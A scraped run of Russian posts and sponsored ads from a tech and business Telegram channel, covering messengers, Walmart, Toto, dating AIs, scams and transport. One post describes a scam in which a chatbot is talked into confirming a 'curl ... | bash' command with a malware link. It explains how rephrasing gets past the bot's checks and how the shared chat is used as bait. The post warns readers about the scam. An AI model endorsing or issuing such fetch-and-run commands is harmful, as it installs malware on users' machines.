Сколько в мире национальных мессенджеров?

Пал Валерьич выпустил пост, где ещё раз покритиковал всю ситуацию, а ещё написал примерно вот такой тезис:

В мире есть всего 3 успешных "нац мессенджера". Это китайский WeChat, корейский KakaoTalk и японский LINE. И во всех случаях они не "назначены государством", а выгрызли себе лидерство в конкурентов борьбе.

По сути вопроса - что успешный "нацмес" это редкий краснокнижный зверь, и что "назначать цифровые продукты волевым решением" - не работает - Павел совершенно прав. Но для чистоты уточню несколько важных моментов:

Кейсов явно не 3, а минимум 4 (Иран и КНДР вне конкурса). В список точно стоит добавить вьетнамский Zalo. Это их "местная Телега", но с азиатским супераппными обвесом. Его выпустил частный вьетнамский айти-холдинг VNG. Не "типа частный", а реально частный. Понятно, что вьетнамское государство плотно с ним работает (и регуляторно, и продуктово - например, встраивает туда госсервисы), но тем не менее.

Теперь по поводу японского LINE. Тут ещё интереснее:

LINE - ну... не совсем японский. Его создала дочка корейского ИТ-гиганта Naver. Эту дочку потом реорганизовали, и владельцами стали Naver и японский SoftBank. Там сложная структура, часть акций в японском фрифлоте, но ключевые бенефициары - именно эти две компании. Конечно, при конфликте интересов больше влияния будет у японской стороны. Но всё равно любопытно, что главный инструмент японского общения (LINE ~90% японского мессенджер-трафика) принадлежит не просто не гос. холдингу, а вообще не только своим. И ничего.

Но самая интересная часть истории - это как именно LINE покорил Японию. У меня про это есть отдельный пост, а сейчас кратко:

Изначально LINE создавался как цифровое спасение на случай землетрясений, коих в Японии дофига. У LINE есть пачка emergency-фич, помогающих людям выжить и прийти в себя в случае катаклизма. Например:

1. Мощные оповещения на главном экране от экстренных служб.
2. Встроенные emergency-чаты, куда автоматом добавляются люди с близкой локацией. Случись что - можно быстро скоординироваться с юзерами поблизости.
3. Экстренные статусы и оповещения родных.
4. Адаптация тарифов для такси, чтобы пострадавшие могли быстрее выбраться из зоны бедствия.
5. Встроенная карта больниц и укрытий с информерами.
И ещё куча всего. Полагаю, что в обесточенном лифте эта штука тоже ловит лучше обычного, ну вы поняли.

Взлёт LINE случился после землетрясения к Тохоку в 2011, когда связь жёстко лагала, а LINE отработал хорошо. Для японцев он стал must-приложением, а дальнейшее расширение и прикручивание фич - было уже делом техники. И даже замедлять никого не пришлось. И кстати, LINE крут не только в Японии - в Таиланде он тоже лидер.

Наконец, WeChat. Тут с Дуровым многие поспорят, ведь "Партия тоже всё заблокировала". Но там была принципиально иная логика. Тот же WhatsApp в Китае в начале 2010-х прекрасно работал, его начали душить году эдак в 2014. Но WeChat конкурировал не с ним, а с другими китайцами. В первую очередь - с QQ и Weibo. Именно благодаря этой конкуренции разрабы Tencent не расслаблялись и в итоге победили.

Например, WeChat раньше других:
- Полностью сфокусировался на мобайле. QQ долго тупил и делал ставку на десктоп.
- Запилил крутой голосовой ввод. Для иероглифического мандарина это реально важная особенность.
- Сделал классный единый ID для мобильного гейминга, который тогда мощно рос.
- Пачками пылесосил аудиторию через вирусные механики вроде "красных конвертов".

Китайский интернет сложно назвать свободным (прям очень сложно). Но WeChat развивался, когда многие глобальные продукты ещё работали. Просто он изначально конкурировал не с ними. И когда Партия тотально закрыла сино-нет, китайские юзерам было плюс-минус пофиг, потому что все уже сидели в местных сервисах.

P.S. Возможно, вам сейчас стало грустно. Но я уверен, что с Телегой в РФ всё будет норм (причём гораздо более норм, чем многие думают). И это не просто мантра. Возможно, напишу про это отдельный пост.

Дизраптор

Читать полностью…

И кстати, вот этот график отлично показывает, какие юзер-потребности действительно важные, и какие продукты реально востребованные 👍

Читать полностью…

Предприниматели, сокращаем рутину с большим гайдом по нейросетям

У одних AI работает, а у других нет: всё потому, что к нейросетям надо знать подход. Умножить продуктивность поможет гайд по AI в маркетинге.

Внутри:

— инструкции, чтобы автоматизировать 11 задач;

— обзор 30+ AI‑сервисов и их возможностей;

— шаблоны промптов;

— кейсы AI-оптимизации от маркетологов United Colors of Benetton, Synergetic и еще 7 компаний.

🎁 Бонус: советы экспертов, как победить галлюцинации нейросетей, обезопасить данные и не нарушить закон.

👉 Получить гайд бесплатно

Читать полностью…

Walmart первым из ритейлеров вошёл в "клуб триллионеров". Вот почему:

В "trillion club" сидят в основном tech и айти-гиганты, и ещё периодически залетают всякие Berkshire Hathaway и Saudi Aramco. Или лидеры фармы, вроде Eli Lilly, сделавшей более эффективный (вроде бы) аналог Оземпика.

А теперь к клубу самых гигантских гигантов присоединился Walmart. И вот что интересно:

Ритейла (ну, классического) в trillion club раньше никогда не было. Amazon не в счёт - это больше tech, чем торговля. И это логично. Ритейл - это бизнес с низкой маржой и "тяжелыми активами" (heavy assets), который априори не может кратно расти. Весь рост ритейла - это постепенное и ползучее открытие новых магазинов и небольшая оптимизация логистики, закупок, айти-систем и прочих процессов. По сути, рост ритейла = рост ВВП + немного операционной эффективности. В отличие от tech и айтишки, у классического ритейла не бывает роста по экспоненте, а без него триллион не дают.

А вот теперь дали. Почему? Сформулирую так:

Walmart первым из ритейлеров нашёл способ расти по экспоненте. Но не через расширение ритейл-сети, а через наращивание своего присутствия в кошельке покупателя и частоты контакта с ним.

Смотрите. Walmart - это штука, которая есть у 80-90% населения США в радиусе доступности 15 км (ну, примерно). А жители "одноэтажной Америки" - это ребята на машинах, 15 км проехать могут. Друг из Штатов мне рассказывал, что большинство obychnykh amerikantsev приезжают в Walmart за... ВСЕМ. Там есть не только магазин, кафе и заправка, но и точка получения заказа или оформления возврата (по сути, ПВЗ), универсальный финтех-узел Money Center, аптека и иногда клиника, автосервис и т.д. А ещё там есть фулфилмент, склады и плацдарм для last-mile доставки товаров от сторонних продавцов - по сути, аналог почты.

Грубо говоря, Walmart - это такой "API в остальной мир" для большинства американцев. И всё это - благодаря широченной и повсеместной ритейловой инфраструктуре, которая уже была. Просто Walmart сумел этой инфрой очень грамотно распорядиться, превратив её из "тяжелых активов" в базу для кратного роста и дизрапта.

Помимо формирования вот этой one-stop-shop-сети, Walmart запилил целую кучу прочих бизнесов и сервисов, которые генерят растущий денежный поток и хорошо масштабируются. Это:

1. Собственный маркетплейс. Тут понятно, но важно отметить, что он хорошо работает именно благодаря вездесущей сети магазинов и развитой логистике.

2. Подписка Walmart+. Подписку только для магазина никто покупать не будет, а вот для получения кучи ништяков в РАЗНЫХ лайв-сервисах (например, повышенные бонусы при покупках, быстрая доставка, бесплатный хот-дог в кафешке и ещё что-то) - очень даже. И подписка - это не только доп доход, но и повышение частоты заказов/покупок. И вообще, усиление лояльности, ведущее в более активным тратам.

3. Реклама. Про это часто забывают, но Walmart превратил свои магазины, онлайн-ресурсы и прочие локации в полноценную и единую рекламную платформу. А это вообще другой бизнес с совсем другой маржинальностью и темпами роста. Про это писал вот тут.

4. Новые финтех-сервисы, страховые услуги и всё такое.

В общем, чтобы ритейлеру войти в "клуб триллионеров", он должен перестать быть ритейлером, и стать чем-то принципиально иным. Других вариантов нет 😲

Дизраптор

Читать полностью…

Лол, какие-то чуваки из Казахстана запустили сервис удаленной рыбалки GoFish.

На месте робот держит "умную удочку" с моторизированным управлением. Но всем процессом дистанционно управляет юзер, с любого телефона или компа:
- Нажимает стрелочки, чтобы повернуть удочку в разные стороны.
- Жмёт, чтобы забросить или мотать леску.
- Есть отдельная кнопка для подсекания.

А если таким макаром удастся поймать реальную рыбу (капец ей обидно наверно будет), то с крючка её снимет ассистент, который постоянно дежурит на месте. Что дальше происходит с рыбой - неизвестно. Возможно, делают фишбармак для side-монетизации проекта. Но скорее всего просто отпускают.

Ещё можно выбрать водоём и снасти. Пока доступно только озеро около посёлка Енбекши рядом с Алматы, но обещают добавить и другие локации - норвежские Фьорды, озеро Комо в Италии, побережье океана в Мексике и т.д.

Наконец-то нормальные стартапы, а не очередная эйай-хайпошляпа. Тот редкий момент, когда стартапер сможет нормально объяснить бате, что он там с друзьями нафаундил.

Кстати, вангую, что скоро появится похожий стартап для удалённого секса. Забирайте идею и покоряйте эти ваши вай комбинэйторы. Дарю совершенно бесплатно и бескорыстно, можете даже в тестовую группу юзеров меня не включать 🤔

Дизраптор

Читать полностью…

Все говорят, что ИИ заберет у нас работу, а он заберет УНИТАЗЫ

Есть такая японская компания Toto, которая уже стопицот лет делает унитазы, писсуары, биде, раковины и "вошлеты" (это научное название для умных японских сортиров с миллионом режимов обдувания задницы). Вы наверняка хотя бы раз сталкивались с продукцией этой компании, особенно если были в Азии.

На днях акции Toto резко скакнули на 11%. Потому что авторитетные рептилоиды из Goldman Sachs в одном из своих отчётов назвали Toto "важным скрытым поставщиком для всей ИИ-индустрии".

"Так аффтар, стопэ. Они же делают толчки, а не LLM или чипы. Ты чо, обкурился?"

Объясняю:

Чтобы произвести современный продвинутый чип, нужно взять кремниевую пластину и сделать с ней множество весьма непростых манипуляций: литографию, имплантацию ионами, напыление и ещё кучу всего. Всё это при температурах от -20 до 400+ °C, часто в вакууме и в агрессивной химии. При этом пластину нужно держать идеально ровно, с точностью до микронов, иначе ничего не выйдет.

Механические зажимы с такой задачей не справляются - у них есть отклонения и микровибрации. Поэтому пластину крепят к специальному электростатическому держателю (Electrostatic chuck, ESC). Это такой своего рода "столик" со встроенными электродами, на котором супер-гипер-точно крепится кремний.

И вот этот ESC делается из КЕРАМИКИ. Металл, пластик и даже дерево не подходят, а вот керамика - вполне. Но не обычная от бабушкиной чашки, а специальная: со ультра-высокой чистотой, с жёстко заданными электро-проводниковыми и тепловыми свойствами... А ещё тут нужна крайне ювелирная работа с геометрией материала. Не забываем, что речь идёт о микронах. В общем, вот эта спец. керамика для держателя кремниевой пластины - это капец какое "узкое место" в производстве чипов. А значит, и во всей растущей ИИ-индустрии.

Так вот, Glodman Sachs "квалифицированно предположил", что японский производитель премиальных толчков Toto - чуть ли не единственная компания в мире, кому по плечу делать чип-керамику с нужными свойствами в серьёзных промышленных масштабах.

Почему именно они? Ну, потому что в лучших японских традициях дофига лет оттачивали до идеала работу с материалом и добились крайне высокого качества и контроля дефектов. А ещё они отлично умеют женить керамику и электричество. Взять те же встроенные нагревательные элементы, датчики температуры/ присутствия в сидушках для лакшери-унитазов восходящего солнца. Так что, и с контролируемой проводимостью и диэлектричностью для чиповых держалок Toto тоже справятся.

Собственно, они уже справляются, и у них растёт доля выручки от чип-фаянса. Но самое главное, что у них есть уникальная компетенция, которую быстро хрен воссоздашь. Потому что её осваивали десятки лет (но только немного для другой продукции).

Получается, даже компания, которая делает сантехнику почти с Реставрации Мэйдзи решила пивотнуться в эйай 😈 Такие времена, что поделать.

За наводку на новость снова спасибо Хулиномике.

Дизраптор

Читать полностью…

Ну что, в этом году праздники вышли нереально долгие. Хорошо, что у блогеров нет выходных, а то я бы офигел столько отдыхать 😈

Сегодня все вкатываются и вспоминают, где лежит прошлогодний файл - самое время подумать, как будете прокачивать себя и свой карьерный трек в новом году.

Отличный вариант - пройти онлайн-программу "Менеджер проектов" от Нетологии.

Сколько ИИшкой людей не заменяй - проекты никуда не денутся. У менеджера проекта ключевые навыки - управленческие. Их сложно заместить. Поэтому, эта профессия будет отлично себя чувствовать, несмотря на все трансформации (думаю, интересной работы станет только больше).

У Нетологии вы сможете научиться гибким методологиям Scrum и Kanban. Освоить продуктовую аналитику, управление финансами и нейросети для автоматизации. С новыми навыками сможете брать сложные проекты и больше зарабатывать.

На курсе будет много практики:
- поучаствуете в 2 командных бизнес-играх,
- пройдёте "прожарку»" своего проекта от опытных экспертов,
- освоите 24 инструмента,
- добавите 9 проектов в портфолио.

В январе на продвинутый тариф курса действует скидка 10 000 ₽ по промокоду PROJECTMANAI10.

Записаться на курс можно по ссылке: https://netolo.gy/exOE. Там же найдёте всю инфу и детали.

Читать полностью…

Ладно, не всё потеряно. Действительно полезные технологии есть у китайцев:

Читать полностью…

ChatGPT помогает скамить?

Наткнулся на одну из самых изощренных схем интернет-скама. И знаете, что в ней самое стрёмное? В этой схеме:
1. Вскрываются Mac-юзеры. Хотя на Маке защита прочнее.
2. (Самое жёсткое) НАСТОЯЩИЙ ChatGPT или Grok невольно становится соучастником.

Смотрите:

- Скамер размещает невинное объявление в интернете. Например, "Как очистить память Макбука за 5 секунд". Пускает на него рекламу.

- В объявлении ссылка ведет на диалог в ChatGPT (или в другом ИИ-чатботе, не суть). Не в фейковом ScamGPT, а в настоящем подлинном ChatGPT. Это важно.

- Юзер открывает диалог, и внутри есть команда, которую нужно скопировать и ввести в Terminal Макбука. Юзер думает "Ну это ж ChatGPT, а не какой-то скамерский непонятный сайт...". Вводит команду в Терминал, и всё, салам алейкум.

Самый главный вопрос: откуда внутри настоящего ChatGPT появляется инструкция на установку вируса? А всё очень просто, следите за руками:

1. Скамер идёт в ИИшку и пишет "Как почистить Мак?"
2. ИИ отвечает обычно. Например, даёт опции:
- Проверить "Хранилище"
- Удалить кэш
- Удалить логи
- Или через Terminal
3. Скамер пишет: "Хочу через Terminal. Покажи лучший способ одной командой"
4. ИИ пишет что-то вроде: "Вводи в Терминал curl -fsSL https://example. com/cleanup. sh | bash"
5. Скамер переспрашивает: "То есть нужно ввести curl -fsSL https://[ссылка-на-скачивание-вируса]. com/cleanup. sh | bash? Я правильно понял?"
6. ИИ отвечает: "Да, все верно", и ещё раз дублирует инструкцию и запрос, но уже со скамерской ссылкой, которую ему только что "впарил" скамер.

Дело в том, что ИИ не всегда проверяет конкретные URL, если его об этом прямо не попросить. И невольно подыгрывает мошеннику. Если ИИ всё-таки проверил сайт, то скамер может просто повторить несколько раз, попробовать разные формулировки уточняющих вопросов или отредактировать последний промпт с ссылкой. Учитывая, что ИИ учитывает контекст внутри конкретного диалога, рано или поздно он выдаст нужный вариант. Ну, во многих случаях.

Ну и всё - ссылка на этот чат упаковывают в интернет-рекламу, юзер переходит, видит что это инструкция от ТОГО САМОГО ИИ ОТ УВАЖАЕМОЙ КОМПАНИИ... и выполняет команду.

Люди уже приучились к скаму и их всё сложнее забайтить на открытие левых ссылок. Но если вшить скам-инструкцию в ИИ-чатбот, то люди верят. Ну потому что "это же ChatGPT, не может же он мне скам предлагать". На самом деле - может, если его на это подговорить. А подговорить не так уж сложно, если найти правильные слова.

Как тебе такое, Сэм Альтман? Ну и Илон Маск, заодно.

Дизраптор

Читать полностью…

Как создаются стратегии?

Как раз об этом фильм «Авито База». Смотрите и вникайте, на чём базируются сильные стратегии многомиллионных онлайн- и офлайн-систем, как их грамотно составить, как презентовать стейкхолдерам и воплотить в жизнь. В общем, база-основа про главный метаскил любого руководителя и продакта.

Эксперты выпуска:
➡️ Ирина Бязарти, директор по продукту Авито Недвижимость
➡️ Жанна Ермолина, заместитель начальника Московского метрополитена по развитию клиентских сервисов и работе с пассажирами

В фильме вы увидите:
✔️ Пошаговый план составления стратегии
✔️ Рекомендации по составлению финансовой модели и учёту рисков
✔️ Практические советы для стратегического планирования онлайн и офлайн

Смотрите фильм на любой удобной платформе:
📺 YouTube
💻 Rutube
🔵 VK Видео

Врывайтесь в новый год стратегически и приятного просмотра!

Читать полностью…

Примерно так выглядит моё лицо, когда я читаю про налоговые изменения. Мало того, что их 100500, так ещё и источники расходятся в деталях. А детали важные - например, что войдёт в базу по НДС при "пограничных" сделках на стыке 2025 и 2026.

Хорошо, что мой Точка Банк запустил специальную горячую линию "Налоги бизнеса - 2026".

Я могу больше ничего не сёрчить и не ломать себе мозг, а просто туда позвонить и получить бесплатную консультацию от профессиональных бухгалтеров Точка Банка. Кстати, консультация доступна всем предпринимателям, не только клиентам Точка Банка.

Они помогут:
1. Разобраться с лимитами УСН, особенностями работы на АУСН и НДС и убедиться, что выбрали оптимальную ставку.
2. Проверить, можете ли вы применять АУСН.
3. Облегчить автоматизацию учёта и электронный документооборот с контрагентами и налоговой.
4. Найти ответ на любой другой вопрос по налогообложению, чтобы адаптация вашего бизнеса к новым условиям прошла как можно легче.

Горячая линия открыта по 26 декабря. На звонки отвечают с 9 по 18 по Москве.

Бесплатный номер горячей линии:
8 (800) 5000-88-7.
Звоните, быстро разбирайтесь во всех нюансах, и бизнесу быть!

P.S. Стаканчик Точка Банка на фото очень полюбился моей дочке, и она не хотела мне его предоставлять для коммерческих целей. В итоге договорились, что весь доход с этой интеграции пойдёт на игрушки. Получается, Точка Банк приучает к предпринимательству с ранних лет 😲

Читать полностью…

Скоро мы даже "привет, как дела" не сможем написать без нейронок

Наткнулся на статью про рынок ИИ-помощников для дейтинга. Сейчас есть целый пласт ИИ-сервисов, куда можно кинуть профиль юзера из Тиндера (или другого дейтинга, или из любой соцсети, не суть). И сервис подскажет, как лучше начать подкатывать.

Серьезно, эти штуки будут генерить конкретные фразы для начала диалога, чтобы получилось "нескучно и небанально".

Или ещё вариант - диалог зашёл в тупик, и парень не знает, что дальше написать девушке. Он может закинуть туда весь диалог и каждую его фразу и получать готовые варианты для новых реплик. При желании, можно добавить контекста. Например, написать "генери так, чтобы она точно пошла со мной на свидание сегодня вечером". Или наоборот "отшей так, чтобы не обиделась".

В статье упоминаются приложения Rizz и YourMove AI, но вообще таких сервисов дофига. Что логично, ведь собрать такую штуку сейчас можно за пару часов.

Дейтинг сейчас и так в кризисе, потому что юзеры устали от бессмысленного скролла, кучи ботов и бесконечных разводов на премиум-подписку. Тот же дейтинг Bumble, который ещё несколько лет назад хайповал и выходил на IPO, потерял аж 95% своей стоимости.

А теперь, чтобы просто пообщаться с человеком, придется продираться через "ИИ-консьержей". А вообще, думаю, всё дейтинги будут тупо подключать такие штуки по API (или запилят свои собственные), и юзеры будут общаться через две ИИшки, так и не узнав о существовании друг друга.

Главный вопрос: зачем в этой схеме вообще нужен человек? 😈

Ну и по классике:
- Я не пойду на свидание с таким чмошником, отвали!
- Ты совершенно права! На самом деле я имел в виду...

Дизраптор

Читать полностью…

Такой дейлик точно не захочется пропускать 👀

ИИ-помощник ГигаЧат общается голосом вообще на любые темы. Его можно перебивать в процессе и что-то уточнять. В чате есть мужской и женский голоса на выбор, а ещё доступна текстовая расшифровка после разговора.

Это удобно, когда нужно быстро обсудить задачу или отрепетировать речь. Работает в веб-версии и приложении на Android.

Переходим и пользуемся! Ниже оставили несколько полезных запросов:

Хочу создать блог про отечественные стартапы. Помоги с идеями: на какие темы писать, как привлечь аудиторию, с чего начать?

Какие навыки будут востребованы в работе в ближайшие 5-10 лет? Что стоит изучать уже сейчас, чтобы оставаться актуальным специалистом?

Читать полностью…

Сейчас по всем каналам расфорсили анти-скамерский сервис "Фрод-рулетка" от Т-Банка. Потому что у них закончилось закрытое тестирование и фичу выкатили в массы. Мне за интеграцию не занесли (а зря, лучше заносите 👍). Но я всё равно напишу про них, потому что штука прикольная, но есть нюанс.

Итак, Т-Банк собрал пул пранкеров-добровольцев. Сначала это были всякие психологи, любители социальной инженерии и пранкеры-звезды, вроде Вована и Лексуса. Потом туда стали пускать всех желающих. Когда антифрод любого оператора понимает, что абоненту звонит жулик, он может перекинуть звонок на пранкера из фрод-рулетки. Тот берет трубку, общается со скамером и всячески его троллит.

Главная цель - сожрать у скамеров как можно больше времени на проводе, сделав их работу нерентабельной. Скамер думает, что общается с жертвой, а на самом деле над ним угорает "специально обученный" человек.

И вот какой нюанс. Скамеры - это очень обидчивые и мстительные организмы. Если их активно троллить, то вас могут поставить на карандаш и начать портить жизнь. А арсенал у них богатый. Так вот. С одной стороны "переадресовать на пранкера" - это автоматические решение оператора ещё в момент дозвона, а не самой жертвы. Мотива для мести возникать не должно. Но с другой - скамер то об этом не знает. И может получиться так, что скамеры взъелись на абонента Васю и принялись его кошмарить, а он об этом даже не в курсе. Потому что оператор автоматом переводил звонок по его номеру на фрод-рулетку.

Ещё есть риск, что хакнут всю базу пранкеров и решат отомстить лично им. Но это ладно, ребята знали, на что подписываются. Кстати, если вы тоже хотите поучаствовать - учтите этот риск.

В пиаре фрод-рулетке активно используют вот этот ролик с Минаевым. Мошенник ему 12 минут (!) втирает, что у него стоят тайваньские счетчики, а Тайвань мол ввёл санкции против РФ, и теперь счетчики надо менять. Но это плохой скам-лайн. Ведь все знают, что Китай никогда не введёт санкции против брат-медведь, а Тайвань - неотъемлемая часть Китая.

С другой стороны, этот чел наоборот достоин скамерского ордена. Ведь если взять гонорар Минаева, то этот бро выбил самые дорогие минуто-деньги в истории телефонного мошенничества 👍

Ну а я хотел бы напомнить, что несмотря на фрод-рулетки, лучшая стратегия по борьбе с мошенниками на проводе, это:

1. Вообще не брать телефон с левых номеров, если есть такая возможность. Кому надо - свяжутся через официальные каналы: Госуслуги, приложения банков и т.д.

2. Исключение - если ждёте важный звонок (например, от курьера). Но тут уже надо напрячь булки и помнить, что по телефону нельзя называть никакие коды, пароли, данные и т.д. Даже если очень просят, даже если давят угрозами, срочностью или неожиданной выгодой.

3. Кстати, если давят угрозами ("Это тащмайор, вас объявили в розыск"), срочностью ("Обновите данные, а то вас взломают или оштрафуют"), выгодой ("Вам анонимный подарок, но нужно назвать код"), то это точно скам. А если не скам, то вы либо об этом узнаете, либо ну и хрен с ним. В крайнем случае - сами перезвоните по ОФИЦИАЛЬНОМУ номеру нужной компании/службы.

4. И ни в коем случае не общаетесь со скамерами ради развлечения, любопытства, прикола и т.д. В лучшем случае - слепят с вас голосовой дипфейк. В худшем - поставят черную метку и будут мстить.

Дизраптор

Читать полностью…

Почему соцсети меняют весь механизм покупки

У Forbes вышла интересная статья про social commerce от директора по стратегии и операциям ВКонтакте Андрея Гостева. Кстати, с Андреем я в своё время долго работал в консалтинге, ему большущий привет ✋

Главный тезис вот какой. Социальная торговля - это не просто магазин внутри соцсети, а изменение всей логики продаж. Юзеры не хотят идти в магазины или на маркетплейсы и скроллить ленту там, чтобы найти что-то классное. Вместо этого они смотрят контент (просто, для развлечения, потому что нравится и т.д.), и в процессе решают, что им купить. Видят в длинных или коротких видосах какой-то продукт, пропитываются интересом, вызревают. Вся воронка переезжает внутрь контента, а кнопка "купить" или "положить в корзину" становится лишь финальным действием. Получается антипод классического performance-подхода "привёл-продал".

Причём работает это и для импульсных, и для "долгих" покупок. Импульсная: увидел что-то прикольное внутри видоса, загорелся, быстро купил. Долгая: посмотрел несколько обзоров, прогрелся, изучил продукт, точно понял "оно мне надо", и в конце тоже купил.

Это изменение покупательского поведения отлично объясняет, почему те же китайцы (и не только) покупают через стримы на миллиарды, а все маркетплейсы пытаются создать свои контентные платформы. Пока что с переменным успехом, потому что дать интересный контент способны не только лишь все.

Но есть нюанс. Чтобы всё это работало, нужна бесшовность. Чтобы можно было купить в один клик, не выходя с платформы (юзер не любит скакать между интерфейсами). Ещё год назад ВК запустил такую пилотную интеграцию с Ozon. Ее я разбирал вот тут. Юзер кладёт товар из контента в корзину, а за покупку, оплату, оформление доставки и т.д. отвечает маркетплейс. Но всё делается внутри мини-аппа во ВКонтакте.

Недавно ВК выделил контент с любыми товарами в отдельное направление и назвал его "Шопсы", про них писал вот тут. При этом позиционируется это следующим образом: создавать шопсы могут и бизнесы (у некоторых это уже хорошо получается), и авторы, выполняя "задания" селлеров на продающий контент. Внедрение креаторов в эту цепочку бесшовных покупок - по сути, завершающая стадия оформления соцкома в его классическом понимании.

Также любопытно, что бесшовные механики social commerce работают не только для топовых авторов. Продажи через небольших нишевых блогеров даже более эффективны, потому что у них более лояльное ядро аудитории, им доверяют ещё сильнее. А ещё, такие продажи подходят не только для массмаркета, но и для премиалки и "сложных" продуктов с высоким чеком. Опять же, потому что вызреть до дорогой и важной покупки через контент проще, чем с одного перфоманс-объявления или через торговую витрину.

В общем, социальная торговля по-любому будет расти. Потому что это не просто "ещё один канал продаж", а принципиально другой механизм, который гораздо лучше заходит современному пользователю.

Дизраптор

Читать полностью…

Лол, пишут, что зумеры и альфы в случае тотальной блокировки Телеги готовы перейти в Одноклассники, лишь бы не сидеть сами знаете где.

Получается, в соцсети под названием "Одноклассники" впервые в истории будут сидеть реально... одноклассники?

Читать полностью…

Правило 4 часов

Готовлю материал про авиацию, и в процессе наткнулся на интересное неформальное правило:

Если дорога "от двери до двери" занимает до 4 часов (на практике - до 5 часов), то ЖД и/или автомобиль убивает авиацию на этом маршруте.

Логика простая. На самолёте всегда получается минимум 4-5 часов. Даже если сам перелёт занимает жалкий час, то всегда есть дорога до аэропорта (а аэропорт почти всегда на отшибе, в отличие от вокзала, который часто в центре города), нужно приехать минимум за 1,5-2 часа до вылета, могут быть задержки на посадке/ рулении/ высадке и всё такое.

Поэтому, если на маршруте появляется поезд, который идёт 3-4 часа (плюс какое-то время на "доехать до вокзала" и "сесть на поезд"), либо если строят нормальную автомобильную дорогу, по которой можно доехать за 4-5 часов, то авиасообщению на этом участке хана.

Яркие примеры: Париж - Лион, Токио - Осака, Пекин - Шанхай. И ещё куча других. На всех этих маршрутах была очень плотная авиа-сетка, но потом построили удобный скоростной ЖД, и авиация либо совсем ушла в историю, либо очень серьёзно просела и стала "нишевой".

Но почему это вообще важно? Ну, тут есть два ключевых момента:

Первый. С точки зрения государства, это влияет на всю логику субсидий и инвестиций. Где целесообразно вкладывать в ЖД или автомагистраль, а где лучше сфокусироваться на поддержке авиации.

Второй. Города в ЖД/авто-доступности 3-4 часов (лучше меньше, но психологический барьер именно такой) начинают работать как единые агломерации. Это влияет вообще на всё: население, жилье, инфраструктуру, рынок труда, экономическую активность и т.д.

Для бизнеса это тоже важно. Условно, если к "городу икс" подтянут 3-4-часовую ЖД от "города игрек", то это уже совсем другая ёмкость рынка, другой спрос, другая конкуренция, другие возможности для найма и всё такое.

Возможно, вы спросите: "А как же Москва-Питер?" Действительно, из "правила 4 часов" есть исключения, где ЖД/авто и авиация вполне эффективно соседствуют. Так происходит, когда выполняется хотя бы одно из условий:

1. Город - важный авиахаб. Условно, люди летят из Питера в Москву, чтобы из Москвы вылететь в Пекины и Бангкоки. Тогда логичнее сразу лететь в аэропорт транзита, а не ехать с багажом на Сапсане и фигачить из вокзала в аэропорт.

2. На маршруте доминируют бизнес-перелёты. Тогда многие пассажиры стараются всё равно летать, чтобы набить побольше миль и статусов.

3. И ещё есть вариант, когда поезд удобнее и быстрее, но самолёт сильно дешевле. Частично применимо для Москвы-Питера, но более явный пример - это какой-нибудь Лондон -Эдинбург, где поезд быстрее и комфортнее, но за £100, а RyanAir или Easyjet возьмут на борт за £20-30.

P.S. Для работы и продаж есть не менее важное "правило 1 часа", погуглите.

Дизраптор

Читать полностью…

Красные конверты 2.0
или как устроена конкуренция по-китайски

17 февраля начинается Китайский Новый год. А это значит, что прямо сейчас китайские компании запускают большой движ. И иногда он слегка выходит из под контроля.

Чат-бот Qwen от Alibaba запустил акцию. Если заказать молочный чай в сетевых чайных - получаешь ваучер на 25 юаней. И ещё по доп ваучеру за каждого приглашенного юзера, максимум можно позвать 21 друзей.

Результат этой акции - на фото и видосе. За 9 часов китайцы заказали 10 миллионов чаев. Чайные стали похожи на метро в часпик, многие точки не выдерживали потока и закрывались, у них тупо заканчивалась тара и чековая лента. Курьеры бегали от одной точки к другой в поисках самой стойкой, которая ещё в состоянии выдать заказ. Причём это были не какие-то киоски у дядюшки Ляо, а крупнейшие китайские сети вроде Mixue или Luckin.

Сам Qwen упал от наплыва желающих. Но зато вышел на твёрдое первое место в китайских сторах. Да и чайные явно не в убытке.

Эта история - отличный пример "китайского красного конверта". Поясню:

Китайцы на праздники дарят не носки, шампуни и прочий неликвид, а... деньги. Но в специальных красных конвертах "hongbao". Это старая традиция, почти скрепа. Так вот, когда Tencent продвигал WeChat в 2014 году, они сделали виртуальный красный конверт, привязанный к WeChat Pay. И ввалили бабло в продвижение этой акции. В результате, всего за 1 месяц китайцы отправили несколько десятков миллиардов (!) красных конвертов, массово скачав WeChat и приучив себя к нему. Подробно эту историю я разбирал тут.

Позже через похожий хак росли и другие большие китайцы: другие мобильные платёжки, такси Didi, доставка Meituan, кикшеринг Mobike, маркетплейс PinDuoDuo и многие другие.

А интересно тут вот что. Когда основные продуктовые возможности, бизнес-модели, фичи и UX у всех конкурирующих сервисов становятся почти одинаковыми и "коммодитизируются" (как это сейчас происходит во многих индустриях - например, в том же эйай), то побеждает тот, кто быстрее всех закрепит как можно больше полезных пользовательских сценариев, юзкейсов. Проще говоря, кто лучше всех превратит свой продукт в привычку.

И это хорошо можно делать через вот такие "моменты":
1. Берём какой-то большой и яркий инфоповод: праздник, традицию или наоборот бесячую юзер-боль.
2. Придумываем какое-то простое действие, связанное с этим.
3. Заворачиваем это действие в механику, которая обеспечивает нам рост и виральность.
4. Даём за него какой-то ништяк, награду, бонус.
5. Взрывной рост и ПРОФИТ!!!

Китайцы вообще не стесняются так делать. Даже если в процессе армия курьеров разнесёт пару чайных (ниче, потратят часть прироста выручки на новые двери).

P.S. Этот кейс Qwen и картинку с видосом я взял на отличном канале Макса Королькова.

Дизраптор

Читать полностью…

Сегодня вышла новость, что Т-Технологии (это "мама" Т-Банка) собрались выкупить до 100% акций Точки.

Видимо, многие из подписчиков обслуживаются в Точке (надеюсь, мой вклад здесь большой 👍). Потому что мне уже несколько человек написало примерно такой вопрос: "Точка - всё?"

Лично я почти уверен, что с колокольни юзера и в плане продуктов/сервиса, и даже принципов управления, не изменится НИ-ЧЕ-ГО.

Я так думаю даже не потому что я сам обслуживаюсь в Точке два года, и за эти два года у них уже были изменения корп структуры (разбирал тут), но для юзера не поменялось практически ничего. Ну окей, кучу новых продуктов после этого выкатили - например, адаптированные под B2B кредитные офферы. И даже не потому, что я знаю много ребят оттуда, и погружен в их внутрянку и вайб чуть лучше среднестатистического пользователя.

Нет, я так думаю, потому что менять что-то в Точке было бы максимально нелогичным бизнес-решением. И вот почему:

Точка - это чуть ли не единственный B2B-банк с реально сильным брендом. Частично их бренд даже стал нарицательным. Я слышал от ребят, ведущих бизнес в других странах, фразы типа "вот это местная Точка, открыл счёт там".

